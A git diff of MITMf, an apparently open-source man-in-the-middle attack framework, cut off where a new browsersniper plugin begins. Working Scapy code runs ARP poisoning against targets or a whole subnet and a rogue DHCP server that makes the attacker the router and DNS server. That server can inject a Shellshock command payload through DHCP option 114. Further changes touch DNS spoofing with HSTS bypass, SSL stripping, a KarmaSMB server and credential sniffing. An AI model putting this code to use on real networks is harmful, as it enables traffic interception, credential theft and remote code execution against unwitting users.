self.gatewayip and self.myip != str(pkt[ARP].psrc)): - log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc)) + log.debug("[ARPWatch] {} is asking where the Gateway is. Sending the \"I'm the gateway biatch!\" reply!".format(pkt[ARP].psrc)) #send repoison packet packet = ARP() packet.op = 2 @@ -126,7 +146,7 @@ class ARPpoisoner: packet.pdst = str(pkt[ARP].psrc) elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)): - log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst)) + log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"I'm {} biatch!\" reply!".format(pkt[ARP].pdst, pkt[ARP].pdst)) #send repoison packet packet = ARP() packet.op = 2 @@ -135,7 +155,7 @@ class ARPpoisoner: packet.pdst = str(pkt[ARP].pdst) elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)): - log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst)) + log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"This is the h4xx0r box!\" reply!".format(pkt[ARP].pdst)) packet = ARP() packet.op = 2 @@ -145,165 +165,87 @@ class ARPpoisoner: try: if packet is not None: - send(packet, verbose=self.debug, iface=self.interface) + self.s.send(packet) except Exception as e: if "Interrupted system call" not in e: log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e)) - pass - def poison_arp_rep(self): + def resolve_target_mac(self, targetip): + targetmac = None + + try: + targetmac = self.arp_cache[targetip] # see if we already resolved that address + log.debug('{} has already been resolved'.format(targetip)) + except KeyError: + #This following replaces getmacbyip(), much faster this way + packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) + try: + resp, _ = sndrcv(self.s2, packet, timeout=2, verbose=False) + except Exception as e: + resp= '' + if "Interrupted system call" not in e: + log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) + + if len(resp) > 0: + targetmac = resp[0][1].hwsrc + self.arp_cache[targetip] = targetmac # shove that address in our cache + log.debug("Resolved {} => {}".format(targetip, targetmac)) + else: + log.debug("Unable to resolve MAC address of {}".format(targetip)) + + return targetmac + + def poison(self, arpmode): + sleep(2) while self.send: if self.targets is None: - pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at") - sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 + self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode)) elif self.targets: - #Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it for target in self.targets: + targetip = str(target) - if type(target) is IPAddress: - targetip = str(target) + if (targetip != self.myip) and (target not in self.ignore): + targetmac = self.resolve_target_mac(targetip) - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: + if targetmac is not None: try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - + log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) + self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) + self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - print_exc() - pass sleep(self.interval) - def poison_arp_req(self): - while self.send: - - if self.targets is None: - pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has") - sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 - - elif self.targets: - - for target in self.targets: - - if type(target) is IPAddress: - targetip = str(target) - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: - try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - sleep(self.interval) - - def options(self, options): - options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address') - options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]') - options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') - - def on_shutdown(self, options): + def stop(self): self.send = False sleep(3) - self.interval = 1 - count = 5 + count = 2 - if self.targets: + if self.targets is None: + log.info("Restoring subnet connection with {} packets".format(count)) + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at") + for i in range(0, count): + self.s2.send(pkt) + + elif self.targets: for target in self.targets: + targetip = str(target) + targetmac = self.resolve_target_mac(targetip) - if type(target) is IPAddress: - targetip = str(target) - + if targetmac is not None: + log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) - - send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - + for i in range(0, count): + self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac)) + self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: - try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) - - send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - elif self.targets is None: - log.info("Restoring subnet connection with {} packets".format(count)) - pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at") - sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2 - - set_ip_forwarding(0) - iptables().flush() + #close the sockets + self.s.close() + self.s2.close() diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index d5d74d4..6871384 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -20,6 +20,8 @@ import logging import threading import binascii import random + +from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError from core.logger import logger from scapy.all import * @@ -28,98 +30,120 @@ log = logger().setup_logger("DHCPpoisoner", formatter) class DHCPpoisoner(): - def __init__(self, interface, dhcpcfg, ip, mac): - self.interface = interface - self.ip_address = ip - self.mac_address = mac - self.shellshock = None - self.debug = False - self.dhcpcfg = dhcpcfg - self.rand_number = [] - self.dhcp_dic = {} + def __init__(self, options, dhcpcfg): + self.interface = options.interface + self.ip_address = options.ip + self.mac_address = options.mac + self.shellshock = options.shellshock + self.debug = False + self.dhcpcfg = dhcpcfg + self.dhcp_dic = {} - def start(self): - t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) - t.setDaemon(True) - t.start() + log.debug("interface => {}".format(self.interface)) + log.debug("ip => {}".format(self.ip_address)) + log.debug("mac => {}".format(self.mac_address)) + log.debug("shellshock => {}".format(self.shellshock)) + log.debug("dhcpcfg => {}".format(self.dhcpcfg)) - def dhcp_sniff(self, interface): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) + def start(self): + self.s2 = conf.L2socket(iface=self.interface) - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) + t = threading.Thread(name="DHCPpoisoner", target=self.dhcp_sniff) + t.setDaemon(True) + t.start() - return rand_ip + def stop(self): + self.s2.close() - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip + def dhcp_sniff(self): + try: + sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface) + except Exception as e: + if "Interrupted system call" not in e: + log.error("Exception occurred while poisoning: {}".format(e)) - if resp[DHCP].options[0][1] is 1: - log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - log.info("Sending DHCP OFFER") - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) + def dhcp_rand_ip(self): + pool = self.dhcpcfg['ip_pool'] + try: + if '/' in pool: + ips = list(IPNetwork(pool)) + return str(random.choice(ips)) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + elif '-' in pool: + start_addr = IPAddress(pool.split('-')[0]) + try: + end_addr = IPAddress(pool.split('-')[1]) + ips = list(IPRange(start_addr, end_addr)) + except AddrFormatError: + end_addr = list(start_addr.words) + end_addr[-1] = pool.split('-')[1] - sendp(packet, iface=self.interface, verbose=self.debug) + end_addr = IPAddress('.'.join(map(str, end_addr))) + ips = list(IPRange(start_addr, end_addr)) - if resp[DHCP].options[0][1] is 3: - log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) + return str(random.choice(ips)) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + log.error('Specified invalid CIDR/Network range in DHCP pool option') + except AddrFormatError: + log.error('Specified invalid CIDR/Network range in DHCP pool option') - if self.shellshock: - log.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - log.info("Sending DHCP ACK") - packet[DHCP].options.append("end") + def dhcp_callback(self, resp): + if resp.haslayer(DHCP): + log.debug('Saw a DHCP packet') + xid = resp[BOOTP].xid + mac_addr = resp[Ether].src + raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - sendp(packet, iface=self.interface, verbose=self.debug) \ No newline at end of file + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + else: + client_ip = self.dhcp_rand_ip() + self.dhcp_dic[xid] = client_ip + + if resp[DHCP].options[0][1] == 1: + log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + log.info("Sending DHCP OFFER") + + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "offer"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('name_server', self.ip_address), + ('dns_server', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240), + "end"])) + + self.s2.send(packet) + + if resp[DHCP].options[0][1] == 3: + log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "ack"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('name_server', self.ip_address), + ('dns_server', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240)])) + + if self.shellshock: + log.info("Sending DHCP ACK with shellshock payload") + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) + packet[DHCP].options.append("end") + else: + log.info("Sending DHCP ACK") + packet[DHCP].options.append("end") + + self.s2.send(packet) diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py index 94a9986..9232bad 100644 --- a/core/poisoners/icmp/ICMPpoisoner.py +++ b/core/poisoners/icmp/ICMPpoisoner.py @@ -18,26 +18,22 @@ import logging import threading -import binascii -import random -from base64 import b64decode -from urllib import unquote from time import sleep from core.logger import logger -from scapy.all import * +from scapy.all import IP, ICMP, UDP, sendp formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("ICMPpoisoner", formatter) class ICMPpoisoner(): - def __init__(self, interface, target, gateway, ip_address): + def __init__(self, options): - self.target = target - self.gateway = gateway - self.interface = interface - self.ip_address = ip_address + self.target = options.target + self.gateway = options.gateway + self.interface = options.interface + self.ip_address = options.ip self.debug = False self.send = True self.icmp_interval = 2 diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 0dc9083..d1576f7 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -52,6 +52,7 @@ class ProxyPlugins: plugin_mthds = {} plugin_list = [] + all_plugins = [] __shared_state = {} diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index fc19c42..fe410fd 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -47,7 +47,7 @@ from core.logger import logger from mitmflib.dnslib import * from IPy import IP -formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("DNSChef", formatter) # DNSHandler Mixin. The class contains generic functions to parse DNS requests and @@ -300,6 +300,8 @@ class DNSHandler(): # Obtain a response from a real DNS server. def proxyrequest(self, request, host, port="53", protocol="udp"): + clientip = {'clientip': self.client_address[0]} + reply = None try: if DNSChef().ipv6: @@ -337,12 +339,13 @@ class DNSHandler(): sock.close() - except Exception, e: + except Exception as e: log.warning("Could not proxy request: {}".format(e), extra=clientip) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): + clientip = {'clientip': self.client_address[0]} log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) @@ -477,7 +480,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[DNS] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py index 923977f..28f3396 100644 --- a/core/servers/http/HTTPserver.py +++ b/core/servers/http/HTTPserver.py @@ -17,13 +17,16 @@ # import logging import threading +import sys +from core.utils import shutdown from core.configwatcher import ConfigWatcher from flask import Flask class HTTPserver(ConfigWatcher): server = Flask("HTTPserver") + func_list = [] __shared_state = {} @@ -31,6 +34,16 @@ class HTTPserver(ConfigWatcher): self.__dict__ = self.__shared_state def start_flask(self): + + @self.server.route('/', defaults={'path': '/'}) + @self.server.route('/') + def catch_all(path): + for func in self.func_list: + resp = func(path) + if resp: + return resp + return path + self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port'])) def start(self): @@ -39,6 +52,9 @@ class HTTPserver(ConfigWatcher): server_thread.setDaemon(True) server_thread.start() + def add_endpoint(self, function): + self.func_list.append(function) + def setup_http_logger(self): formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") flask_logger = logging.getLogger('werkzeug') diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py old mode 100644 new mode 100755 index d363c93..446e131 --- a/core/servers/smb/KarmaSMB.py +++ b/core/servers/smb/KarmaSMB.py @@ -49,14 +49,16 @@ # hosting. *CAREFUL!!!* # + import sys import os import argparse import logging import ntpath import ConfigParser +from threading import Thread -from mitmflib.impacket import LOG as logger +from mitmflib.impacket.examples import logger from mitmflib.impacket import smbserver, smb, version import mitmflib.impacket.smb3structs as smb2 from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE @@ -65,8 +67,10 @@ from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCC from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation -class KarmaSMBServer(): + +class KarmaSMBServer(Thread): def __init__(self, smb_challenge, smb_port, smb2Support = False): + Thread.__init__(self) self.server = 0 self.defaultFile = None self.extensions = {} @@ -105,7 +109,7 @@ class KarmaSMBServer(): if smb2Support: smbConfig.set("global", "SMB2Support", "True") - self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) + self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands @@ -144,7 +148,6 @@ class KarmaSMBServer(): respSetup = '' respParameters = '' respData = '' - errorCode = STATUS_SUCCESS findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) # 1. Let's grab the extension and map the file's contents we will deliver @@ -159,11 +162,6 @@ class KarmaSMBServer(): else: targetFile = self.defaultFile - if (len(data) > 0): - findFirst2Data = smb.SMBFindFirst2_Data(data) - else: - findFirst2Data = '' - if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = connData['ConnectedShares'][recvPacket['Tid']]['path'] @@ -282,9 +280,7 @@ class KarmaSMBServer(): errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) - if len(data) > 0: - queryPathInfoData = smb.SMBQueryPathInformation_Data(data) - + if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = '' try: @@ -327,7 +323,7 @@ class KarmaSMBServer(): connData = smbServer.getConnectionData(connId) # We're closing the connection trying to flush the client's # cache. - if connData['MS15011']['StopConnection'] == True: + if connData['MS15011']['StopConnection'] is True: return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED return self.origsmb2Close(connId, smbServer, recvPacket) @@ -391,7 +387,7 @@ class KarmaSMBServer(): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2QueryDirectory_Response() - queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) errorCode = 0xff respSMBCommand['Buffer'] = '\x00' diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index 1cd78b9..0d238ca 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -25,7 +25,7 @@ class SMBserver(ConfigWatcher): try: if self.mode == 'normal': - formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") self.conf_impacket_logger(formatter) server = smbserver.SimpleSMBServer(listenPort=self.port) @@ -62,8 +62,6 @@ class SMBserver(ConfigWatcher): LOG.setLevel(logging.INFO) LOG.propagate = False - logging.getLogger('smbserver').setLevel(logging.INFO) - logging.getLogger('impacket').setLevel(logging.INFO) fileHandler = logging.FileHandler("./logs/mitmf.log") streamHandler = logging.StreamHandler(sys.stdout) diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 0bcb6a7..b140da8 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -160,11 +160,8 @@ class ClientRequest(Request): log.debug("Sending spoofed favicon response") self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - - log.debug("Sending request via SSL ({})".format((client,url))) + elif self.urlMonitor.isSecureLink(client, url): + log.debug("Sending request via SSL/TLS: {}".format(url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 24bfa3f..3051696 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -104,8 +104,6 @@ class ServerConnection(HTTPClient): def connectionMade(self): log.debug("HTTP connection made.") - self.clientInfo["clientip"] = self.client.getClientIP() - try: user_agent = parse(self.headers['user-agent']) @@ -120,6 +118,8 @@ class ServerConnection(HTTPClient): self.clientInfo["browser"] = "Other" self.clientInfo["browserv"] = "Other" + self.clientInfo["clientip"] = self.client.getClientIP() + self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -206,8 +206,8 @@ class ServerConnection(HTTPClient): data = self.replaceSecureLinks(data) data = self.plugins.hook()['data'] - log.debug("Read from server {} bytes of data:\n{}".format(len(data), data)) - #log.debug("Read from server {} bytes of data".format(len(data))) + #log.debug("Read from server {} bytes of data:\n{}".format(len(data), data)) + log.debug("Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) diff --git a/core/utils.py b/core/utils.py index 7f38f4b..ce1b2a1 100644 --- a/core/utils.py +++ b/core/utils.py @@ -20,6 +20,8 @@ import os import logging import re import sys + +from commands import getstatusoutput from core.logger import logger from core.sergioproxy.ProxyPlugins import ProxyPlugins from scapy.all import get_if_addr, get_if_hwaddr @@ -33,10 +35,15 @@ def shutdown(message=None): sys.exit(message) def set_ip_forwarding(value): - log.debug("Setting ip forwarding to {}".format(value)) - with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: - file.write(str(value)) - file.close() + status, result = getstatusoutput('sysctl --help') + if status == 0: + log.debug("Setting ip forwarding to {} using sysctl".format(value)) + os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX + else: + log.debug("Setting ip forwarding to {}".format(value)) + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() def get_ip(interface): try: @@ -52,7 +59,7 @@ def get_mac(interface): try: mac_address = get_if_hwaddr(interface) return mac_address - except Exception, e: + except Exception as e: shutdown("Error retrieving MAC address from {}: {}".format(interface, e)) class iptables: diff --git a/mitmf.py b/mitmf.py index a3265b6..66a5c68 100755 --- a/mitmf.py +++ b/mitmf.py @@ -21,7 +21,9 @@ import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message -logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages +logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages +logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO) +logging.getLogger('mitmflib.impacket').setLevel(logging.INFO) import argparse import sys @@ -88,6 +90,8 @@ strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) +ProxyPlugins().all_plugins = plugins + #All our options should be loaded now, start initializing the plugins print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) for plugin in plugins: @@ -102,6 +106,7 @@ for plugin in plugins: for line in xrange(0, len(plugin.tree_info)): print "| |_ {}".format(plugin.tree_info.pop()) + plugin.setup_logger() plugin.initialize(options) if plugin.tree_info: @@ -109,16 +114,21 @@ for plugin in plugins: print "| |_ {}".format(plugin.tree_info.pop()) plugin.reactor(strippingFactory) - plugin.setup_logger() plugin.start_config_watch() print "|" print "|_ Sergio-Proxy v0.2.1 online" print "|_ SSLstrip v0.9 by Moxie Marlinspike online" +print "|" + +#Start mitmf-api +from core.mitmfapi import mitmfapi +print "|_ MITMf-API online" +mitmfapi().start() #Start Net-Creds from core.netcreds.NetCreds import NetCreds -NetCreds().start(options.interface) +NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index b0852a8..3430d94 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -55,7 +55,7 @@ class AppCachePlugin(Plugin): if regexp and not re.search(regexp,req_headers["user-agent"]): self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo) return {'response': response, 'request': request, 'data': data} - + urls = self.urlMonitor.getRedirectionSet(url) self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) (name,s,element,url) = self.getSectionForUrls(urls) diff --git a/plugins/browserprofiler.py b/plugins/browserprofiler.py index 94033d1..6f3f564 100644 --- a/plugins/browserprofiler.py +++ b/plugins/browserprofiler.py @@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin): if (request.command == 'POST') and ('clientprfl' in request.uri): request.handle_post_output = True self.output = json.loads(request.postData) + self.output['ip'] = request.client.getClientIP() pretty_output = pformat(self.output) self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo) diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py new file mode 100644 index 0000000..3d72fce --- /dev/null +++ b/plugins/browsersniper.py @@ 